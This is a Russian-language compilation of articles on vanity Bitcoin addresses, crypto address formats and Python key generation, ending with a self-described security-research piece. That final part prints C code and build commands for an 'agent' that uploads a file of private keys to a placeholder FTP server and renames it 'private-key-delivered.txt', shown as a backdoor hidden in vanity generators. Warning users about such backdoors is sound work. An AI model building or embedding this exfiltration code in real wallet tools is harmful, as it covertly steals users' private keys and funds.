Создаем красивый BTC адрес
Сегодня я вам расскажу как же сгенерировать себе красивый биткоин адрес.
И так далее, думаю Вы поняли.
Сразу проясню, что единица вначале адреса обязательна. Начнём.
Далее надо учесть, что в вашем адресе НЕ МОЖЕТ БЫТЬ этих букв (и одной цифры):
Когда мы уже скачали наш архив с гитхаба, открываем консольку, предварительно распаковываем архив на рабочий стол в папку btc
В консоли пишем:
Далее прописываем в консоль:
vanitygen.exe -i 1scammer
Данный вариант, если вы хотите генерировать на CPU. И да, вместо 1scammer вы можете вписать всё что угодно, например 1pidor и т.д.
-i обозначает, что регистр не строгий. т.е. если прописана -i может сгенерировать как 1ScAmMEr так и 1scAMMeR, думаю вы поняли.
с этим параметром генерировать гораздо быстрее, но если вам надо капсом/строчным (кстати строчным генерирует в 58 раз медленее), то просто уберите -i и забудьте про символы, которые не могут быть в вашем кошельке (выше).
Чтобы генерировать В МИЛЛИОНЫ раз быстрее (да-да), нам надо генерировать через GPUoclvanitygen.exe -i 1scammer
Далее в консоли у нас будет это:
Где Difficulty — сложность генерации,
MKeys/s — количество МИЛЛИОНОВ ключей в секунду (при CPU будет просто keys),
total — сколько было сгенерированно ключей всего,
75% in 4.8 означает, что ваша вероятность найти публичный ключ с 1pepsi в ближайшие 4.8 минуты равна 75%.
63,1% — это вероятность найти в уже сгенерированных ключах.
После генерации мы получаем вот это:
Pattern — то, что сгенерированно по нашему запросу.
Adress — наш полный BTC адрес.
Privkey — ключ для полного использования кошелька.
Ну сгенерировали, а что дальше то?
А дальше качаем Electrum или другой кошелек. Почему именно он? Он проверен временем да и других кошельков с функцией использования своих адресов я пока не видел
1. Устанавливаем, когда доходим до выбора кошелька выбираем:
2. Дальше вставляем сюда Private Key:
Вся информация предоставлена исключительно с целью ознакомления. Я не несу ответственность за ваши действия)
Ваша поддержка важна для меня ❤, все средства пойдут на развитие блога, мои адреса:
Что такое криптовалютный адрес?

Задавались ли вы когда-нибудь вопросом: что значат буквы и цифры, из которых состоит адрес криптовалютного кошелька? Мы воспринимаем причудливую структуру криптоадреса как данность — по аналогии с банковским счётом. Однако, оба типа счетов — не просто набор случайных символов, полученных через рандомайзер.
Если с банком всё достаточно просто — номер скрывает реальные данные о типе пользователя (физ или юрлицо, госорганизация), назначении и валюте счёта, отделении банка и прочем — то криптовалютные счета не содержат никакой персональной информации. О них мы и поговорим в этой статье.
Как образуется адрес криптовалюты: общая информация
Самые популярные криптовалютные адреса создаются по общему принципу:
- Создаётся закрытый ключ через алгоритм цифровой подписи эллиптической кривой (ECDSA). Закрытый ключ — его ещё называют секретным или личным (private) — представляет собой 256 бит случайной информации;
- Копия данных закрытого ключа преобразуется в открытый ключ;
- Открытый ключ (public key) хэшируется — преобразуется в битовую строку фиксированной длины. Так информация зашифровывается, становясь практически недоступной для извлечения;
- Хэш преобразуется через какой-либо язык кодировки — итоговый адрес содержит номер версии адреса (префикс сети), сам хэш и контрольную сумму для проверки на ошибки.
Поскольку в разных блокчейнах адреса генерируются с небольшими различиями, мы рассмотрим самые три самых популярных метода генерации адресов — для блокчейнов Bitcoin, Ethereum и Litecoin.
Адрес в блокчейне Bitcoin
На декабрь 2021 в блокчейне Биткоин наравне работают три формата криптовалютных адресов — все они имеют итоговую длину от 26 до 35 символов и могут быть представлены в виде QR-кода.
Legacy-адрес
Появляется через скрипты P2PKH (Pay-to-Public-Key-Hash) алгоритма кодирования Base 58. Это — самый первый способ создания биткоин-адресов, на основе которого описаны этапы в предыдущем разделе. Особенности:
- Открытый ключ хэширутеся последовательно по двум алгоритмам: SHA-256 и RIPEMD-160;
- Контрольный фрагмент также хэшируется дважды — оба раза по SHA-256;
- Идентификатор сети — шестнадцатеричное значение 0х00, поэтому итоговые адреса всегда начинаются с 1;
- При создании адресов не используются ноль (0), буквы «O», прописная «ай» (I) и строчная «эл» (l).
Такие адреса короткие и удобные — пример:
1Kb3Sx1hiSPnXZoJJUWXH3tvufgtmhyFir
но при их введении обязательно нужно ставить правильный регистр, поскольку буквы разного регистра воспринимаются Base 58 как разные буквы.
P2SH-адрес
Создан в 2012 году для создания кошельков с мультиподписью. P2SH (Pay-to-Script-Hash) не внёс существенных изменений в процесс создания адресов, но повлиял на механизм их работы, сделав возможным подтверждения отправки средств несколькими владельцами ключей.
Единственное отличие P2SH от P2PKH — иной идентификатор сети: 0х05. Из-за другого идентификатора все адреса этого типа начинаются с цифры 3 — пример:
3QVgQ7JNEhgtabfe9ZQBtS36sGEG58DmLt
Остальные особенности идентичны Legacy-адресам.
SegWit-адрес (P2WPKH)
Появился в 2017 году как альтернатива кодировке через Base58 с более высоким уровнем безопасности. SegWit (Pay-to-Witness-Public-Hash) не поддерживается некоторыми старыми кошельками и сервисами из-за серьёзных отличий от двух других — более распространённых — типов адресов:
- Вместо Base 58 для кодировки используется алгоритм Bech32 — в нём количество допустимых символов ограничено ещё сильнее;
- Идентификатор сети — bc1;
- Кодированию подвергаются 2, 3 и 4 фрагмент кода, но не идентификатор, поэтому все адреса начинаются с bc1;
- Третьим фрагментом кода всегда является цифра 1 — она выступает разделителем между 2 и 4 фрагментами;
- В адрес зашифровывается контрольная сумма;
- Регистр не учитывается.
При создании SegWit-адреса не имеет значения регистр — обычно такие адреса унифицируются самостоятельно в строчный формат, пример:
bc1rt6rnd3w2yj82wzkl3fhqq263ch37w6lq5sue7
Адрес в блокчейне Ethereum
Этапы создания ETH-адресов аналогичны BTC-адресам, но с одним серьёзным отличием — иным алгоритмом хэширования.
Открытый код для Ethereum хэшируется через алгоритм keccak-256 и на выходе представляет собой последние 20 байтов хэша с префиксом идентификатора сети «0x» — пример:
0x001d3f1ef827552ae1114027bd3ecf1f086ba0f9
За счёт этого адреса ETH всегда состоят из 42 символов — 40 хэша + 2 идентификатора сети — и также не учитывают регистр.
Одна из главных проблем Ethereum-адресов — идентичность частных адресов пользователей и адресов смарт-контрактов (самоисполняющихся сделок или действий, работающих за счёт встроенных индивидуальных алгоритмов). Из-за этого люди имеют высокий риск отправки средств не на личный счёт пользователя, а на счёт смарт-контракта.
Адрес в блокчейне Litecoin
Поскольку Litecoin — это форк Bitcoin (монета, созданная на основе исходного кода BTC), способы формирования адресов здесь идентичны.
Изначально LTC-адреса создавались только по скрипту P2SH — тогда адреса начинались с цифры 3, пример:
3LpLHam2zqr9abEhjsR7t99g81Bavt3wH7
Однако, из-за совпадения с адресами BTC было принято решение изменить префикс идентификатора — так LTC-адреса стали начинаться с буквы «М», пример:
MT2HaUTzwxhaP6WbqkVThnQ5Shn2zPZEh6
С 2017 Litecoin стал создавать также SegWit-адреса с префиксом «ltc1», пример:
ltc1qv43gel3n5hktgh3tl0rpz3qrt98t0pautaec9f
FAQ о крипто адресах
— Как создать свой криптоадрес?
При регистрации на криптовалютной бирже или создании тёплого или горячего криптовалютного кошелька, а также покупке аппаратного кошелька адрес создаётся автоматически.
— Почему в разных адресах разное количество символов?
Количество символов зависит от объема открытого кода в блокчейне, формата идентификатора сети, способа хэширования кода и кодирования информации.
— Могут ли по адресу отследить владельца?
Сам адрес кошелька не содержит никакой персональной информации о том, кто совершает перевод. Однако, сам блокчейн фиксирует детали каждой транзакции без возможность стереть или изменить данные, за счёт чего через блокчейн можно отследить пути движения денег. Это значит, что можно найти счета, участвующие в транзакциях, но если они созданы там, где не требуются личные данные, то узнать информацию о владельце счёта невозможно.
— Что делать, если ошибся при вводе криптоадреса?
Большинство современных кошельков и бирж не позволяют совершить перевод, если вы вводите несуществующий адрес. Однако, если сервис не проверяет адреса или получившийся адрес оказался активным, то средства уйдут на него без возможности отменить транзакцию. Чтобы избежать подобной проблемы, не вписывайте адреса вручную — копируйте и вставляйте их без ручного ввода и исправления.
— Как проверить, существует криптоадрес или нет?
Можно инициировать отправку средств через сервис, который проверяет адреса на активность, либо воспользоваться разделом Explorer на сайтах, хранящих информацию о транзакциях, например:
- Для BTC — на Blockchain.com;
- Для ETH — на EtherScan.io;
- Для LTC — на BlockChair.com.
Это не единственные сайты, через которые можно делать проверку — при необходимости стоит загуглить другие, вбив в поисковую строку: check *название криптовалюты* address.
Ищите больше постов на тему криптовалюты в Телеграм-канале Покерофф по хэштегу #криптовалюты.
Генерируем Bitcoin-адрес на Python
Тема криптовалют снова начинает будоражить интернет. Супер, что вам не надо идти в отделение банка с паспортом и выстаивать очередь, чтобы открыть счет. Сгенерировать кошелек Bitcoin — дело нескольких строк кода на Python.
Нам понадобятся библиотеки base58 и ecdsa. base58 – это кодирование бинарных данных 58-ю печатными символами (цифрами и латинскими буквами, кроме 0, O, I, l, которые похожи друг на друга). ecdsa – библиотека криптографии на эллиптических кривых.
pip install base58 ecdsa
Импортируем то, что нужно:
import hashlib import ecdsa from binascii import hexlify from base58 import b58encode
Нам нужен приватный ключ, из него мы вычислим публичный ключ, а из него – адрес кошелька Bitcoin. (Обратная процедура не возможна без полного перебора до конца времен). Приватный ключ – это 32 байта данных, которые мы получим из криптографически-надежного источника случайных чисел. Вообще можно придумать свой приватный ключ самостоятельно, если так хочется. Для генерации случайного приватного ключа мы воспользуемся библиотекой ecdsa:
private_key = ecdsa.SigningKey.generate(curve=ecdsa.SECP256k1)
Вычислим этой же библиотекой публичный ключ и добавим спереди байт 0x4 (это признак «несжатого» публичного ключа; есть и другие форматы).
public_key = b'\04' + private_key.get_verifying_key().to_string()
Теперь нужно из публичного ключа сделать привычный число-буквенный адрес Bitcoin. Взглянем на схему:

Для получения адреса из публичного ключа вычисляем сначала RIPEMD160(SHA256(public-key)):
ripemd160 = hashlib.new('ripemd160') ripemd160.update(hashlib.sha256(public_key).digest())
Дополняем его префиксом 0x0 (главная сеть Bitcoin):
r = b'\0' + ripemd160.digest()
Вычисляем контрольную сумму (нужна, чтобы наши денюжки не пропадали, если мы ошибемся в каком-то символе адреса). Контрольная сумма это первые 4 байта от SHA256(SHA256(r)):
checksum = hashlib.sha256(hashlib.sha256(r).digest()).digest()[0:4]
Получаем адрес кошелька, закодировав в base58 сложенные r и checksum:
address = b58encode(r + checksum)
print(f'private key: ') print(f'public key uncompressed: ') print(f'btc address: ')
Генерация приватного ключа из своего источника случайностей, например, os.urandom:
def random_secret_exponent(curve_order): while True: bytes = os.urandom(32) random_hex = hexlify(bytes) random_int = int(random_hex, 16) if random_int >= 1 and random_int < curve_order: return random_int def generate_private_key(): curve = ecdsa.curves.SECP256k1 se = random_secret_exponent(curve.order) from_secret_exponent = ecdsa.keys.SigningKey.from_secret_exponent return from_secret_exponent(se, curve, hashlib.sha256).to_string()
Важно для конфиденциальных данных, вроде приватного ключа, использовать криптографически безопасный источник случайности. Об этом я писал в одной из недавних статей!
Полный пример кода генерации кошельков.
Проверить ключи и адрес можно здесь. (Нажимаем Skip, дальше Enter my own…)
Подробнее по теме можно почитать здесь.
Специально для канала @pyway. Подписывайтесь на мой канал в Телеграм @pyway
Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа

В криптосообществе за многие годы образовался целый культ по созданию красивых адресов для криптокошельков. Каждый желающий может сгенерировать для себя «красивый» адрес, который будет не только уникальным, но и будет иметь в себе определенное сочетание букв и цифр. Это очень увлекательный и интересный процесс, но нельзя полностью исключать риск, связанный с привлечением третьей стороны и перехватом приватного ключа к криптокошельку. Все мы когда-либо слышали о независимых агрегаторах CoinMarketCap и CoinGecko это самые популярные площадки для отслеживая цен на бирже, но в этой статье мы не будем рассматривать механизмы и функции этих площадок. Речь пойдет о скрытых кодах в vanitygen + oclvanitygen и стремительное распространение их на популярных площадках.
Это исследовательский проект создан в целях информационной безопасности.
Многим пользователям не устраивают стандартные рандомные адреса криптокошелька и именно по этой причине они используют различные программы, утилиты и плагины для создание красивых криптовалютных адресов.
Согласно порталу TAdviser жертвами все чаще становятся из-за использование не проверенное программное обеспечение.
Coingecko-VanityGen - это утилита, работающая через командную строку, которая способна генерировать криптовалютные адреса по заданным первоначальным параметрам.
Подбор утилиты основан на вероятностном поиске, на который требуется некоторое время.
Время зависит от сложности заданного шаблона, скорости компьютера и удачливости. Для повышение скорости генерации криптовалютных адресов существует oclvanitygen – который использует OpenCL совместимые GPU
Во многих наших исследованиях мы используем Google Colab и для собственного ознакомления мы сделаем разбор для файлов Coingecko-VanityGen в репозитории 12CoingeckoAgentFtpupload

Coingecko-VanityGen работает при помощи поддержки среды выполнения графического процессора (Google Colab) и по собственным параметрам генерирует красивые адреса криптокошельков для полного списка агрегатора Coingecko .
Как сохранить приватные ключи?
Чтобы понять и разобраться мы перейдем к экспериментальной части:
git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/12CoingeckoAgentFtpupload/ ls

Обновим и установим g++ libgmp3-dev libmpfr-dev
apt-get update sudo apt-get install g++ -y sudo apt-get install libgmp3-dev libmpfr-dev -y

Сборка:
make

Запустим команду: ls и мы видим что coingeckogen создан успешно!

Запустим LIST и проверим все существующие криптовалюты из агрегатора CoinGecko
./coingeckogen -C LIST


Запустим "coingeckogen" и сгенерируем Биткоин Адрес с префиксом "1DEEP":
./coingeckogen 1DEEP

Pattern: 1DEEP Address: 1DEEPQxozZXeUmuVZxKb7JjHq28DhX99AG Privkey: 5JdG1jvsDgHrS8E8NpRLabzrA1tCbR6ePp9zvv1q1dV6efpSqMH crypto >
Откроем bitaddress и проверим:

Почему скомпилированные программы могут раскрыть приватные ключи?

Вы можете ознакомится статьей в информационном портале SecurityLab
В исходный код программы может быть вшит секретный код:
cURL — кроссплатформенная служебная программа командной строки, позволяющая взаимодействовать с множеством различных серверов по множеству различных протоколов с синтаксисом URL .
Этот код может отправить приватные ключи в FTP - сервер злоумышленника
/*************************************************************************** * _ _ ____ _ * Project ___| | | | _ \| | * / __| | | | |_) | | * | (__| |_| | _ <| |___ * \___|\___/|_| \_\_____| * * Copyright (C) 1998 - 2022, Daniel Stenberg, , et al. * * This software is licensed as described in the file COPYING, which * you should have received as part of this distribution. The terms * are also available at https://curl.se/docs/copyright.html. * * You may opt to use, copy, modify, merge, publish, distribute and/or sell * copies of the Software, and permit persons to whom the Software is * furnished to do so, under the terms of the COPYING file. * * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY * KIND, either express or implied. * * SPDX-License-Identifier: curl * ***************************************************************************/ #include #include #include #include #include #include #include #ifdef WIN32 #include #else #include #endif /* * Performs an FTP upload and renames the file just after a successful * transfer. * */ #define LOCAL_FILE "/tmp/Result.txt" #define UPLOAD_FILE_AS "Result.txt" #define REMOTE_URL "ftp://example.com/" UPLOAD_FILE_AS #define RENAME_FILE_TO "private-key-delivered.txt" /* NOTE: if you want this example to work on Windows with libcurl as a DLL, you MUST also provide a read callback with CURLOPT_READFUNCTION. Failing to do so will give you a crash since a DLL may not use the variable's memory when passed in to it from an app like this. */ static size_t read_callback(char *ptr, size_t size, size_t nmemb, void *stream) < unsigned long nread; /* in real-world cases, this would probably get this data differently as this fread() stuff is exactly what the library already would do by default internally */ size_t retcode = fread(ptr, size, nmemb, stream); if(retcode >0) < nread = (unsigned long)retcode; fprintf(stderr, "*** We read %lu bytes from file\n", nread); >return retcode; > int main(void) < CURL *curl; CURLcode res; FILE *hd_src; struct stat file_info; unsigned long fsize; struct curl_slist *headerlist = NULL; static const char buf_1 [] = "RNFR " UPLOAD_FILE_AS; static const char buf_2 [] = "RNTO " RENAME_FILE_TO; /* get the file size of the local file */ if(stat(LOCAL_FILE, &file_info)) < printf("Couldn't open '%s': %s\n", LOCAL_FILE, strerror(errno)); return 1; >fsize = (unsigned long)file_info.st_size; printf("Local file size: %lu bytes.\n", fsize); /* get a FILE * of the same file */ hd_src = fopen(LOCAL_FILE, "rb"); /* In windows, this will init the winsock stuff */ curl_global_init(CURL_GLOBAL_ALL); /* get a curl handle */ curl = curl_easy_init(); if(curl) < /* build a list of commands to pass to libcurl */ headerlist = curl_slist_append(headerlist, buf_1); headerlist = curl_slist_append(headerlist, buf_2); /* we want to use our own read function */ curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback); /* enable uploading */ curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L); /* specify target */ curl_easy_setopt(curl, CURLOPT_URL, REMOTE_URL); /* pass in that last of FTP commands to run after the transfer */ curl_easy_setopt(curl, CURLOPT_POSTQUOTE, headerlist); /* now specify which file to upload */ curl_easy_setopt(curl, CURLOPT_READDATA, hd_src); /* Set the size of the file to upload (optional). If you give a *_LARGE option you MUST make sure that the type of the passed-in argument is a curl_off_t. If you use CURLOPT_INFILESIZE (without _LARGE) you must make sure that to pass in a type 'long' argument. */ curl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE, (curl_off_t)fsize); /* Now run off and do what you have been told! */ res = curl_easy_perform(curl); /* Check for errors */ if(res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); /* clean up the FTP commands list */ curl_slist_free_all(headerlist); /* always cleanup */ curl_easy_cleanup(curl); >fclose(hd_src); /* close the local file */ curl_global_cleanup(); return 0; >
Скомпилируем Agent Ftpupload:
gcc -o agentftpupload ftpupload.c -lcurl

Права доступа:
chmod +x agentftpupload

./agentftpupload
Процесс перехвата приватного ключа:
Как мы говорили выше чтобы понять как происходит перехват приватного ключа запустим пошагово все команды из исходного кода. Для этого мы создадим тестовый сервер с каталогом «cryptodeeptech»:
Как мы видим из демонстрационного примера в тестовый сервер был загружен файл: private-key-delivered.txt
private-key-delivered.txt - это файл где содержится приватные ключи пользователя программного обеспечение.
Весь процесс происходит скрыто от пользователя.
Мы настоятельно рекомендуем:
- использовать только проверенное ПО;
- ознакомиться с исходным кодом;
- делать сборку самостоятельно;
- делать обновление;
Данный видеоматериал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN